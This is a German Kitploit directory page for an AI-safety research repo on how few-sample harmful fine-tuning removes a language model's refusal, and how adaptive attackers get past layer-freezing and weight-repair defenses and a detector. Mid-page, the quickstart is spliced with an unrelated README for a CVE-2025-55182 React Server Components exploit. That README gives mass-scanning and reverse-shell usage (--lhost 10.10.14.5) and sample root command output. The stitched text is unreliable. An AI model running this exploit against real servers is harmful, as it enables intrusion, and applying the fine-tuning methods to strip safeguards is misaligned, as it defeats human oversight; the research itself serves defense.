Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
refusal-relocates — Ablehnung lokalisiert, der Schaden verlagert sich, Sicherheitsebenen unter Few-Sample-Fine-Tuning | Kitploit
Tools/GitHubGitHub/js-lee-ai/refusal-relocates
DefensivwerkzeugeSchwachstellenanalyseMaschinelles LernenPapers & ForschungKI-SicherheitAdversarial-Angriff
GitHubjs-lee-ai/refusal-relocates

refusal-relocates

Ablehnung lokalisiert, der Schaden verlagert sich, Sicherheitsebenen unter Few-Sample-Fine-Tuning

Repository anzeigen
5vor 4 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Refusal Relocates, refusal localizes, the damage relocates, safety layers under few-sample fine-tuning

Code MIT Paper CC BY 4.0 Python 3.10+ CI Stars

Schnellstart · Verwendung · CLI · Ergebnisse · Reproduzieren · FAQ · Zitation


News

  • [2026-09-28] Code veröffentlicht, zusammen mit den Ausführungsprotokollen und Skripten, die die Tabellen des Papers neu erstellen.

Überblick

Ein paar Dutzend schädliche Beispiele können die Verweigerung schädlicher Anfragen durch ein ausgerichtetes Modell aufheben. Frühere Arbeiten lokalisieren die Sicherheit auf bestimmte Schichten und Richtungen, was nahelegt, den gefundenen Ort zu schützen. Dieses Repository testet diese Prämisse so, wie es ein adaptiver Angreifer tun würde. Es findet heraus, wo die Verweigerung wiederhergestellt werden kann, friert diese Region ein und greift erneut an, und es repariert das Gewichtsupdate und lässt den Angreifer es dann ausbreiten.

Die Studie stützt sich auf drei Messungen.

  • Die Verweigerung wird in einer Tiefe wiederhergestellt. Beim Lockstep-Patching wird der vollständige verborgene Zustand des sauberen Modells in einer Schicht an das kompromittierte Modell übergeben, beim Prefill und bei jedem Dekodierungsschritt, und die Verweigerung kehrt in einer reproduzierbaren Übergangstiefe zurück.
  • Das Einfrieren dieser Tiefe verschiebt den Schaden. Im abgestimmten Vergleich mit Llama-3.1-8B verschiebt das Einfrieren der Schichten 0–17 den Übergang von Schicht 15 auf die Schichten 27 und 28, und die Verweigerung nach dem eingeschränkten Angriff beträgt 0,00 bis 0,01 gegenüber sauberen 0,92 bis 0,96.
  • Die Top-Zwei-Reparatur fällt durch ein verteiltes Update. Das Entfernen der beiden obersten singulären Richtungen des Updates stellt die Verweigerung nach kurzen, nur auf Attention basierenden Fine-Tunes auf vier Checkpoints wieder her. Ein Angreifer, der das Update verteilt, reduziert die relative Top-Zwei-Reparatur auf 0,000, und ein auf 75 gutartigen Fine-Tunes kalibrierter Detektor markiert nur 3 von 14 Reparaturausfällen.

Dieses Repository enthält die Messung und beide Verteidigungen als kleine Bibliothek, plus die Ausführungsprotokolle und Skripte, die die Tabellen des Papers neu erstellen.

Was es in einem Bild zeigt

Links laufen das saubere und das kompromittierte Modell auf gemeinsamen Tokens und der saubere verborgene Zustand wird in einer Schicht in das kompromittierte Modell gepatcht. Rechts wird der Angriff mit eingefrorenen Schichten 0 bis 17 wiederholt und das Patching erneut auf dem eingeschränkten Checkpoint ausgeführt

(a) Lockstep-Aktivierungspatching überschreibt die Schichtausgabe des kompromittierten Modells mit dem sauberen Zustand beim Prefill und bei jedem Dekodierungsschritt. (b) Im abgestimmten Llama-Angriff verschiebt das Einfrieren der Schichten 0–17 den Halb-Obergrenzen-Übergang von 15 auf 27–28.

Schnellstart```bash

pip install "git+https://github.com/js-lee-AI/refusal-relocates.git"

| **CVE** | **Beschreibung** | **Schweregrad** | **Betroffene Versionen** | **Behoben in** |
|---------|------------------|-----------------|--------------------------|----------------|
| CVE-2025-55182 | RCE über unsichere Deserialisierung in React Server Components | Kritisch (10.0) | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| CVE-2025-55183 | Quellcode-Offenlegung durch manipulierte Server-Action-Anfragen | Mittel (5.3) | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| CVE-2025-55184 | DoS durch zyklische Referenzen in Server Function Payloads | Hoch (7.5) | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| CVE-2025-67779 | Unvollständige Behebung für CVE-2025-55184 | Hoch (7.5) | 19.0.1, 19.1.2, 19.2.1 | 19.0.2, 19.1.3, 19.2.2 |

## Installation

```bash
git clone https://github.com/yourusername/CVE-2025-55182-React2Shell.git
cd CVE-2025-55182-React2Shell
pip install -r requirements.txt

Verwendung

Grundlegende Überprüfung

python3 CVE-2025-55182.py -u https://target.com

Massenüberprüfung

python3 CVE-2025-55182.py -f urls.txt -t 20 -o results.txt

Reverse-Shell-Modus

python3 CVE-2025-55182.py -u https://target.com --shell --lhost 10.10.14.5 --lport 4444

Benutzerdefinierte Header

python3 CVE-2025-55182.py -u https://target.com -H "Authorization: Bearer token" -H "X-Custom: value"

Befehlszeilenargumente

ArgumentBeschreibungStandard
-u, --urlZiel-URL-
-f, --fileDatei mit URLs (eine pro Zeile)-
-t, --threadsAnzahl der Threads10
-o, --outputAusgabedatei-
--shellReverse-Shell-Modus aktivierenFalse
--lhostListener-Host für Reverse Shell-
--lportListener-Port für Reverse Shell-
-H, --headerBenutzerdefinierter Header (wiederholbar)-
--timeoutAnfrage-Timeout in Sekunden10
--proxyProxy-URL-
-v, --verboseAusführliche AusgabeFalse

Funktionsweise

  1. Erkennung: Sendet eine speziell gestaltete Anfrage an den React Server Components-Endpunkt, um die Anfälligkeit zu bestätigen.
  2. Ausnutzung: Erstellt eine bösartige Payload, die bei der Deserialisierung eine Remotecodeausführung auslöst.
  3. Ausführung: Führt den angegebenen Befehl auf dem Zielserver aus und gibt die Ausgabe zurück.

Beispielausgabe

[*] Target: https://target.com
[*] Checking vulnerability...
[+] Target is VULNERABLE to CVE-2025-55182
[*] Executing command: id
[+] Output: uid=0(root) gid=0(root) groups=0(root)

Einschränkungen

  • Erfordert, dass der Zielserver React Server Components verwendet
  • Funktioniert nur gegen Versionen 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Einige WAFs können die Ausnutzung blockieren

Haftungsausschluss

Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Die Verwendung gegen Systeme ohne vorherige Genehmigung ist illegal. Die Autoren übernehmen keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.```python import numpy as np import refusal

Tool herunterladen